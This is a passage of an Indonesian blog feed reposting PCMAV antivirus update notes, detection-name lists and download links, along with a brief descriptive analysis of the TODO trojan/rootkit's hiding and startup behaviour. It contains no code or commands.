mengupdate kapan saja dengan klik kanan icon PCMAV pada system tray dan pilih <i>Update</i>.<br /> <br /> Bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link dibawah ini:<br /> <br /> Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup <b>menimpanya</b>. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.<br /> <br /> <b>Daftar tambahan virus hingga PCMAV 5.5 Update Build2:</b><br /> ErrorLove.vbs<br /> ErrorLove.vbs.inf<br /> ErrorLove.vbs.txt<br /> FBSurprise<br /> FBSurprise.drp<br /> FBSurprise.exe.A<br /> FBSurprise.exe.B<br /> FBSurprise.job.A<br /> FBSurprise.job.B<br /> FBSurprise.jpg<br /> FBSurprise.tmp.A<br /> FBSurprise.tmp.B<br /> FBSurprise.tmp.C<br /> FontPorn.B<br /> FontPorn.B.exe.A<br /> FontPorn.B.exe.B<br /> FontPorn.B.lnk<br /> FontPorn.B.tmp<br /> NgrBot.A.dat.variant<br /> NgrBot.A.drp.A.variant<br /> NgrBot.A.drp.B.variant<br /> NgrBot.A.drp.C.variant<br /> NgrBot.A.exe.A.variant<br /> NgrBot.A.exe.B.variant<br /> NgrBot.A.inf.variant<br /> NgrBot.A.lnk.variant<br /> NgrBot.A.variant<br /> NgrBot.B.inf.variant<br /> NgrBot.B.variant<br /> NgrBot.C.variant<br /> NgrBot.D.variant<br /> NgrBot.E.variant<br /> NgrBot.F.variant<br /> NgrBot.G.variant<br /> NgrBot.H.variant<br /> None<br /> Romantic<br /> Romantic.inf<br /> SmallSmile.vbs<br /> SmallSmile.vbs.inf<br /> TODO<br /> TODO.drp<br /> UltraSurf.A<br /> UltraSurf.A.bat<br /> UltraSurf.B<br /> UltraSurf.C<br /> UltraSurf.D<br /> UltraSurf.D.bat<br /> X-Sample.vbs.C<br /> X-Sample.vbs.C.inf<br /> X-Sample.vbs.C.ini<br /> X-Sample.vbs.C.mp3 <br /> <br /> <br /> PCMAV 5.5 Update Build2 telah tersedia dengan penambahan 52 database virus baru yang telah berhasil ditambahkan pada update build kali ini. Berarti ada penambahan 26 database virus dari build1 yang hanya 26 database. Update PCMAV dapat dilakukan secara otomatis dengan memilih “Update” pada menu klik kanan icon PCMAV di system tray, ini salah satu fitur yang telah berhasil ditambahkan pada rilis PCMAV 5.5 Jika Anda ingin mendownload update build secara manual dapat melalui link dibawah ini.<br /> <br /> <br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <br /></div> <br /> <br /> <div style="text-align: center;"> <span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span> <br /> <div style="text-align: left;"> <br /></div> </div> <span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol> <li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.5 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.4 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.4 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/08/pcmav-54-valhalla.html"><b>PCMAV 5.4</b></a></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 <span style="color: red;">(</span></span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build2)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.5 Valhalla/vdb</span></li> </ol> <br /> <br /> <div style="color: red;"> <span style="font-size: large;"><b><i>Download Here</i></b></span></div> <br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya Download PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.5 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"> <span style="font-weight: bold;"> </span><span style="font-weight: bold;"><a href="http://www.indowebster.com/pcmav_5_5_valhalla_ekodomba_blogspot_.html">PCMAV 5.5</a> (idws)</span><br /> <span style="font-weight: bold;">Mirror</span><span style="font-weight: bold;"> Link :</span><br /> <b><a href="http://www.4shared.com/file/DiZoRCk_/PCMAV_55_Valhalla__ekodombablo.html">PCMAV 5.5</a> (4shared)</b> <br /> <b><a href="http://www.ziddu.com/download/16483263/PCMAV5.5Valhallaekodomba.blogspot.rar.html">PCMAV 5.5</a> (ziddu)</b> <br /> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya Download update (.vdb) Build2 :</span> <br /> <span style="font-weight: bold;"> </span><a href="http://www.indowebster.com/vdb_build2__1.html"><span style="font-size: 100%;"><b>Update Build 2</b></span></a><span style="font-weight: bold;"> (idws)<br /> </span><br /> <span style="font-weight: bold;">Mirror Link :</span><br /> <span style="font-size: 100%;"><b><a href="http://www.4shared.com/file/AYoBFmV7/vdb__Build2__10.html">Update Build 2</a> </b></span><span style="font-size: 100%;"><b>(4shared)</b></span><br /> <span style="font-size: 100%;"><b><a href="http://www.ziddu.com/download/16716468/vdbBuild2.rar.html">Update Build 2</a> </b></span><span style="font-size: 100%;"><b>(ziddu)</b></span><br /> <br /></div> </div> </div> </div> </div> </div></description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title/><link>http://ekodomba.blogspot.com/2011/09/build-1.html</link><category>Anti Virus</category><category>PCMAV</category><author>noreply@blogger.com (Unknown)</author><pubDate>Fri, 23 Sep 2011 12:16:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-887853086853221447.post-2585150149225522537</guid><description><div class="info"> <div style="text-align: left;"> <div style="text-align: center;"> <div style="text-align: center;"> <a href="http://ekodomba.blogspot.com/2011/09/build-1.html"><span style="font-size: large;"><b><span style="font-weight: bold;">PCMAV 5.5 Valhalla + Build1</span></b></span></a></div> <div style="text-align: center;"> <a href="http://virusindonesia.com/2011/09/21/todo-bersembunyi-di-balik-process/"><span style="font-size: large;"><b>TODO: Bersembunyi Di Balik Process</b></span></a></div> <div style="text-align: left;"> <span style="font-size: large;"><b> </b></span><br /> <div class="info"> <span class="date"><br /> </span><span class="comments"><a href="http://virusindonesia.com/2011/09/21/todo-bersembunyi-di-balik-process/#comments"></a></span> </div> <div class="info"> <span class="date"> </span><span class="comments"><a href="http://virusindonesia.com/2011/09/21/todo-bersembunyi-di-balik-process/#comments"></a></span> </div> <div class="info"> <span class="date"> </span><span class="comments"><a href="http://virusindonesia.com/2011/09/21/todo-bersembunyi-di-balik-process/#comments"></a></span> </div> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 180px; overflow: auto; text-align: left; width: 500px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/todo/1.msg.png" /></div> <br /> <b>TODO</b>. Rootkit adalah salah satu teknik yang sering digunakan malware yang menyebar di masyarakat belakangan ini. Komputer yang terinfeksi seolah-olah berjalan dengan normal tanpa adanya gangguan dari malware. Memang terkadang tidak terlalu mempengaruhi kinerja komputer, karena beberapa malware melakukan payload yang tidak mengganggu aktivitas user agar tetap tidak diketahui keberadaannya, dan ini adalah salah satu perbedaan umum antara kebanyakan malware lokal dan malware yang berasal dari luar.&nbsp; Seperti halnya TODO yang diam-diam berjalan dan tetap memberikan keuntungan lebih bagi pembuatnya (Virus Maker).<br /> <br /> <a name='more'></a><b>A. Info File</b><br /> Nama Worm : TODO<br /> Asal : Rusia (dugaan)<br /> Ukuran File : 325 KB (333,312 bytes)<br /> Packer : UPX -&gt; Markus &amp; Laszlo ver. [ 3.02 ]<br /> Pemrograman : Microsoft Visual C++<br /> Icon : Application<br /> Tipe : Trojan, Rootkit<br /> <br /> <b>B. About Malware</b><br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/todo/2.properties.png" /><br /> <br /> Namanya di ambil dari Original File Name yang menunjukan nama TODO. Malware ini didapatkan setelah salah satu variant worm yang menyebar lewat facebook “<b>Chat-Facebook</b>” tengah dianalisa dan didapatkan mendownload malware ini, TODO dapat aktif setelah droppernya dijalankan. Dan droppernya bersembunyi di balik proses svchost.exe. Baik host TODO maupun droppernya (TODO.drp) sama-sama dibuat menggunakan pemrograman Microsoft Visual C++ dan dikompres menggunakan UPX yang ukuran sebenarnya adalah:<br /> <br /> <b>• </b>TODO setelah di-pack = 325 KB (333,312 bytes)<br /> <b>• </b>TODO sebelum di-pack = 847 KB (867,328 bytes)<br /> <b>• </b>TODO.drp setelah di-pack = 35.5 KB (36,352 bytes)<br /> <b>• </b>TODO.drp setelah di-pack = 86.0 KB (88,064 bytes)<br /> <br /> <b>C. Companion/File yang dibuat</b><br /> Setelah aktif di memory, Trojan TODO melakukan pengecekan terhadap companionnya (TODO.drp) yang berfungsi untuk menyembunyikan prosesnya di memory. Selain itu, jika TODO.drp sudah aktif terlebih dahulu, maka akan melakukan hal yang sama untuk melakukan pengecekan kemudian menjalankan TODO dan yang terakhir adalah menyembunyikan prosesnya dibalik proses lain.<br /> <b><br /> Process scvhost.exe palsu</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/todo/3.svchost.png" /></div> <br /> <b>Hasil Deteksi GMER</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/todo/4.gmer.png" /></div> <br /> <b>D. Hasil Infeksi</b><br /> Tentunya agar mampu berjalan otomatis saat proses startup, TODO.drp membuat sebuah value key di registry. Dan yang menarik adalah bahwa TODO memang menunjukan aktivitas rootkit. Selain itu, TODO berusaha mengakses salah satu IP yang setelah di Trace, IP tersebut berasal dari Sweden / Swedia.<br /> <br /> <b>Network Connection 1</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/todo/5.processhacker.png" /></div> <br /> <b>Network Connection 2</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/todo/6.tcpview.png" /></div> <br /> <b>Trace IP</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/todo/7.map.png" /></div> </div> <br /> <b>E. Pembersihan</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/todo/8.detected.png" /></div> </div> <br /> <b>Short Information:</b><br /> Chat-Facebook sendiri sebenarnya memiliki beberapa tipe, ada yang hanya berfungsi sebagai Downloader (Trojan)dan beberapa ada yang memang membuat host dan menyebar layaknya worm. Sayangnya, Chat-Facebook diduga memiliki kemampuan untuk mengecek tanggal yang nantinya hanya akan berjalan sesuai tanggal yang ditentukan, selain itu akan menghapus host file yang sedang di analisa. Hal ini mungkin dimaksudkan untuk menghindari kegiatan Tracing dan Debugging dalam proses analisanya.<br /> <br /> <b>PCMAV 5.5 Update Build1</b><br /> Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 5.5 Update Build1 telah hadir dengan penambahan <b>26 </b> pengenal varian virus baru. Bagi Anda pengguna PCMAV 5.5, sangat disarankan segera melakukan <i>update</i>, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.<br /> <br /> Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet. Jika koneksi Internet menggunakan <i>proxy</i>, tentukan konfigurasi proxy pada file proxy.txt . Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV. Anda juga dapat mengupdate kapan saja dengan klik kanan icon PCMAV pada system tray dan pilih <i>Update</i>.<br /> <br /> Bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link dibawah ini:</div> <div style="text-align: left;"> <br /> Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup <b>menimpanya</b>. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.<br /> <br /> <b>Daftar tambahan virus hingga PCMAV 5.5 Update Build 1:</b><br /> NgrBot.A.dat.variant<br /> NgrBot.A.drp.A.variant<br /> NgrBot.A.drp.B.variant<br /> NgrBot.A.drp.C.variant<br /> NgrBot.A.exe.A.variant<br /> NgrBot.A.exe.B.variant<br /> NgrBot.A.inf.variant<br /> NgrBot.A.lnk.variant<br /> NgrBot.A.variant<br /> NgrBot.B.inf.variant<br /> NgrBot.B.variant<br /> NgrBot.C.variant<br /> NgrBot.D.variant<br /> NgrBot.E.variant<br /> NgrBot.F.variant<br /> NgrBot.G.variant<br /> NgrBot.H.variant<br /> None<br /> TODO<br /> TODO.drp<br /> UltraSurf.A<br /> UltraSurf.A.bat<br /> UltraSurf.B<br /> UltraSurf.C<br /> UltraSurf.D<br /> UltraSurf.D.bat <br /> <br /> <span style="font-size: small;">PCMAV </span>5.5 Update Build1 telah tersedia dengan penambahan 26 database virus baru yang telah berhasil ditambahkan pada update build kali ini. Update PCMAV dapat dilakukan secara otomatis dengan memilih “Update” pada menu klik kanan icon PCMAV di system tray, ini salah satu fitur yang telah berhasil ditambahkan pada rilis PCMAV 5.5 Jika Anda ingin mendownload update build secara manual dapat melalui link dibawah ini.<br /> <br /> <br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdgARItRZwlRecGnlg54mOh2SJJUu4OwmuO41_YyV3n7lIJcWs2dKIYyOq8bK1NHP7tLzh9gGlMYwe8MlXAu5Nc7SjouppY6Zj9r8ek8J3O20jvhiHkbip4F5M8Tj0glixitoopYAWiQaq/s1600/1.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdgARItRZwlRecGnlg54mOh2SJJUu4OwmuO41_YyV3n7lIJcWs2dKIYyOq8bK1NHP7tLzh9gGlMYwe8MlXAu5Nc7SjouppY6Zj9r8ek8J3O20jvhiHkbip4F5M8Tj0glixitoopYAWiQaq/s1600/1.JPG" /></a></div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6FWlk4GBOlCTN7N-vi4mtOrhyphenhyphenArXFc82rJRRUktAQ8mJfmCLVriUE-vJeEuw2P4K-SYBdLwLhhUG9pYCsHXxpkeEapy-EavDG7SViGSG4uoZhicMEvBYwH0IkBx2hoxayx3eeO9ytTEwt/s1600/2.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6FWlk4GBOlCTN7N-vi4mtOrhyphenhyphenArXFc82rJRRUktAQ8mJfmCLVriUE-vJeEuw2P4K-SYBdLwLhhUG9pYCsHXxpkeEapy-EavDG7SViGSG4uoZhicMEvBYwH0IkBx2hoxayx3eeO9ytTEwt/s1600/2.JPG" /></a></div> </div> <br /> <br /> <div style="text-align: center;"> <span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span> <br /> <div style="text-align: left;"> <br /></div> </div> <span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol> <li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.5 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.4 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.4 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/08/pcmav-54-valhalla.html"><b>PCMAV 5.4</b></a></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 (</span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.5 Valhalla/vdb</span></li> </ol> <br /> <br /> <div style="color: red;"> <span style="font-size: large;"><b><i>Download Here</i></b></span></div> <br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya Download PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.5 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"> <span style="font-weight: bold;"> </span><span style="font-weight: bold;"><a href="http://www.indowebster.com/pcmav_5_5_valhalla_ekodomba_blogspot_.html">PCMAV 5.5</a> (idws)</span><br /> <span style="font-weight: bold;">Mirror</span><span style="font-weight: bold;"> Link :</span><b><a href="http://www.4shared.com/file/DiZoRCk_/PCMAV_55_Valhalla__ekodombablo.html">PCMAV 5.5</a> (4shared)</b> <br /> <b><a href="http://www.ziddu.com/download/16483263/PCMAV5.5Valhallaekodomba.blogspot.rar.html">PCMAV 5.5</a> (ziddu)</b> <br /> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya Download update (.vdb) Build1 :</span> <br /> <span style="font-weight: bold;"> </span><span style="font-size: 100%;"><b><a href="http://www.indowebster.com/vdb_build1_.html">Update Build 1</a></b></span><span style="font-weight: bold;"> (idws)<br /> Mirror Link :</span><br /> <span style="font-size: 100%;"><b><a href="http://www.4shared.com/file/kOk1Bbel/vdb__Build1__9.html">Update Build 1</a> </b></span><span style="font-size: 100%;"><b>(4shared)</b></span><br /> <span style="font-size: 100%;"><b><a href="http://www.ziddu.com/download/16483440/vdbBuild1.rar.html">Update Build 1</a> </b></span><span style="font-size: 100%;"><b>(ziddu)</b></span><br /> <br /></div> </div> </div> </div> </div></description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdgARItRZwlRecGnlg54mOh2SJJUu4OwmuO41_YyV3n7lIJcWs2dKIYyOq8bK1NHP7tLzh9gGlMYwe8MlXAu5Nc7SjouppY6Zj9r8ek8J3O20jvhiHkbip4F5M8Tj0glixitoopYAWiQaq/s72-c/1.JPG" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title/><link>http://ekodomba.blogspot.com/2011/09/pcmav-55.html</link><category>Anti Virus</category><category>PCMAV</category><author>noreply@blogger.com (Unknown)</author><pubDate>Fri, 23 Sep 2011 11:58:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-887853086853221447.post-8965274332760895500</guid><description><div class="MsoNormal" style="line-height: normal; text-align: center;"> <a href="http://ekodomba.blogspot.com/2011/09/pcmav-55.html"><span style="font-size: large;"><b><span style="font-weight: bold;">PCMAV 5.5 Valhalla</span></b></span></a></div> <br /> <br /> <div style="text-align: justify;"> Download PCMAV 5.5 telah disediakan bersamaan dengan peluncuran Majalah PC Media 09/2011 &amp; PCMAV 5.5 yang sudah lama dinanti pembaca setia PC Media tentunya. Kali ini PCMAV 5.5 telah dilengkapi dengan penambahan database pengenal dan pembersih 126 virus lokal/asing/varian baru yang banyak menyebar di Indonesia. Total database pada PCMAV 5.5 sebanyak Total 4.591 virus beserta variannya.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Seperti biasa, kami mengingatkan kepada Anda untuk membaca terlebih dahulu README.txt yang disertakan bersama PCMAV 5.5 sebelum menggunakannya.</div> <a name='more'></a><br /> <div style="color: red;"> <b>Bagaimana cara mendapatkan dan menggunakan PCMAV 5.5 Valhalla ?</b></div> <br /> Salin paket PCMAV 5.5 dari PC Media Edisi 09/2011 ke dalam harddisk sehingga Anda mendapatkan PCMAV 5.5 yang siap digunakan.<br /> <br /> Bagi Anda yang berada di wilayah tak terjangkau distribusi majalah PC Media atau karena suatu hal tidak dapat menggunakan paket PCMAV yang disertakan dalam DVD PC Media namun anda sangat membutuhkannya, silahkan <b>download PCMAV 5.5</b> dari link dibawah artikel ini.<br /> <div style="text-align: justify;"> <br /></div> <b>APA YANG BARU?/CHANGE-LOG</b><br /> <ol> <li>UPDATED! Ditambahkan database pengenal dan pembersih 126 virus lokal/asing/varian baru yang dilaporkan menyebar di Indonesia. Total 4591 virus beserta variannya</li> <li>FIXED! Perbaikan munculnya pesan error pada removable disk dan CD/DVD ROM yang ter-unplug ketika sedang melakukan scanning.</li> <li>IMPROVED! Perubahan nama virus mengikuti varian baru yang ditemukan.</li> <li>IMPROVED! Perbaikan beberapa minor bug dan improvisasi kode internal untuk memastikan bahwa PCMAV tetap menjadi antivirus kebanggaan Indonesia.</li> </ol> <br /> <b>Revisi RTPScan Pada PCMAV 5.4/5.5</b><br /> Apabila diantara pengguna&nbsp; PCMAV 5.4 atau PCMAV 5.5 mendapatkan program-program di dalam komputer tidak dapat berjalan baik, maka sebaiknya Anda mengikuti langkah-langkah berikut :<br /> <ul> <li>Jika Anda sudah menjalankan PCMAV, tutup PCMAV sehingga proses PCMAV tidak berjalan di memory.</li> <li>Download file RTPScan.zip di link <a href="http://www.sendspace.com/file/tw22dw">http://www.sendspace.com/file/tw22dw</a></li> <li>Ekstrak file RTPScan.zip yang berisi file RTPScan.dll ke dalam folder lib PCMAV (timpa file RTPScan.dll lama dengan RTPScan.dll yang baru di-download).</li> <li>Lakukan restart komputer dan PCMAV akan dapat berjalan baik.</li> </ul> <br /> Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"> </div> <br /> <br /> <div style="text-align: center;"> <span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span> <br /> <div style="text-align: left;"> <br /></div> </div> <span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol> <li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.5 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.4 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.4 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/08/pcmav-54-valhalla.html"><b>PCMAV 5.4</b></a></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 (</span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.5 Valhalla/vdb</span></li> </ol> <br /> <br /> <div style="color: red;"> <span style="font-size: large;"><b><i>Download Here</i></b></span></div> <br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya Download PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.5 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"> <span style="font-weight: bold;"> </span><span style="font-weight: bold;"><a href="http://www.indowebster.com/pcmav_5_5_valhalla_ekodomba_blogspot_.html">PCMAV 5.5</a> (idws)</span><br /> <span style="font-weight: bold;">Mirror</span><span style="font-weight: bold;"> Link :</span><b><a href="http://www.4shared.com/file/DiZoRCk_/PCMAV_55_Valhalla__ekodombablo.html">PCMAV 5.5</a> (4shared)</b> <br /> <b><a href="http://www.ziddu.com/download/16483263/PCMAV5.5Valhallaekodomba.blogspot.rar.html">PCMAV 5.5</a> (ziddu)</b> <br /> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya Download update (.vdb) Build1 :</span> <br /> <span style="font-weight: bold;"> </span><span style="font-size: 100%;"><b>Update Build 1 (Menunggu)</b></span><span style="font-weight: bold;"> (idws)</span><br /> <span style="font-weight: bold;">Mirror Link :</span><br /> <span style="font-size: 100%;"><b>Update Build 1 </b></span><span style="font-size: 100%;"><b>(Menunggu) (4shared)</b></span><br /> <span style="font-size: 100%;"><b>Update Build 1 </b></span><span style="font-size: 100%;"><b>(Menunggu) (ziddu)</b></span><br /> <br /> <br /></div></description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>PC Media Asgard Betahttp://ekodomba.blogspot.com/2011/09/pc-media-asgard-beta.htmlAnti VirusPCMAVnoreply@blogger.com (Unknown)Fri, 23 Sep 2011 11:27:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-933626220093353628<h2 style="text-align: center;"><a href="http://ekodomba.blogspot.com/2011/09/pc-media-asgard-beta.html">PC Media Asgard Beta</a></h2><div class="info"><span class="date"> </span><span class="comments"><a href="http://virusindonesia.com/2011/09/16/pc-media-asgard-beta/#comments"></a></span> </div><div class="info"><span class="date"><br /> </span><span class="comments"><a href="http://virusindonesia.com/2011/09/16/pc-media-asgard-beta/#comments"></a></span> </div><img alt="PCMAV Asgard Beta" src="http://virusindonesia.com/wp-content/uploads/2011/09/beta_splash.jpg" title="Asgard Beta" /><br /> <br /> Dengan dukungan komunitas <a href="http://forum.virusindonesia.com/" target="_blank" title="Forum VirusIndonesia.com">Forum VirusIndonesia.com</a> dalam melakukan uji coba terbatas terhadap generasi terbaru PCMAV, dengan sebelumnya melewati tahapan Alpha, kini <b>PC Media Asgard Beta</b> secara resmi dirilis untuk diuji coba oleh publik.<br /> <br /> <a name='more'></a><br /> <span id="more-1932"></span><br /> <b>Fitur-fitur Terbaru di PC Media Asgard Beta<br /> </b><br /> <ul><li><b>Extension Manager. </b>Penambahan extension sehingga total tersedia 9 extension siap pakai, yaitu:- Attribute Fixer: menormalkan kembali attribut file/folder yang diubah oleh virus menjadi hidden/system/read only. <ol><li>Autorun Disabler: menonaktifkan fungsi Autorun pada drive tertentu atau semua drive sehingga mencegah penularan virus melalui manipulasi autorun.</li> <li>Autorun Remover: menghapus file autorun yang ditemui pada drive system maupun USB.</li> <li>Delete On Reboot: menghapus file yang dipilih pada reboot selanjutnya, berguna untuk menghapus file yang diproteksi oleh process tertentu sehingga tidak dapat dihapus.</li> <li>Duplicate Files Finder: mencari file yang sama berdasarkan karakteristik tertentu sesuai dengan metode deteksi yang dipilih.</li> <li>Registry Fixer: memperbaiki registry Windows yang sering dimanipulasi oleh virus.</li> <li>Secure Delete: menghapus file dengan aman sehingga tidak dapat di-recover/undelete.</li> <li>Task Manager: menampilkan process yang sedang aktif di memory dan menghentikannya jika diperlukan.</li> <li>TCP Viewer: menampilkan koneksi TCP sehingga dapat memantau process mencurigakan seperti virus yang diam-diam menggunakan koneksi Internet.</li> </ol></li> </ul><ul><li><b>Virus Submit. </b>Mengarahkan browser ke website yang telah disediakan khusus&nbsp; untuk upload file virus atau file mencurigakan agar dapat dianalisa oleh tim PCMAV.</li> </ul><b><br /> <span style="color: red;">PERHATIAN:</span></b><br /> PC Media Asgard Beta merupakan sebuah<b> <i>prototype</i> (purwarupa) </b>untuk versi generasi berikutnya dari PCMAV, yang saat ini sedang dikembangkan secara intensif oleh tim antivirus <i>PC Media</i>. Asgard Beta ini tersedia <b>*HANYA*</b> untuk kepentingan uji coba publik semata. Kecuali Anda seorang <i>advanced user</i> (pengguna berpengalaman) dalam berkomputer, mohon <b>*DIHINDARI*</b> penggunaan PC Media Asgard Beta pada sistem/komputer yang biasa digunakan untuk bekerja sehari-hari.<br /> Rilis ini tidak menggambarkan hasil akhir PCMAV. Beberapa fitur yang ada sedang dalam tahap uji coba serta tidak menutup kemungkinan akan berubah sebelum rilis final diluncurkan. Fitur-fitur tersebut sangat memungkinkan belum dapat berjalan secara sempurna dan bisa saja terdapat bug yang menyebabkan sistem tidak berjalan normal.<br /> <br /> <b>Download :</b> <br /> <b><a href="http://www.indowebster.com/asgard.html">PC Media Asgard Beta</a></b> (idws)<br /> <br /> <b>Alternative link :</b> <br /> <b><a href="http://www.4shared.com/file/K9BPJhbT/Asgard_Beta.html">PC Media Asgard Beta</a></b> (4shared)<br /> <a href="http://www.ziddu.com/download/16483168/AsgardBeta.zip.html"><b>PC Media Asgard Beta</b></a> (ziddu)<br /> <br /> <b>Password:</b> 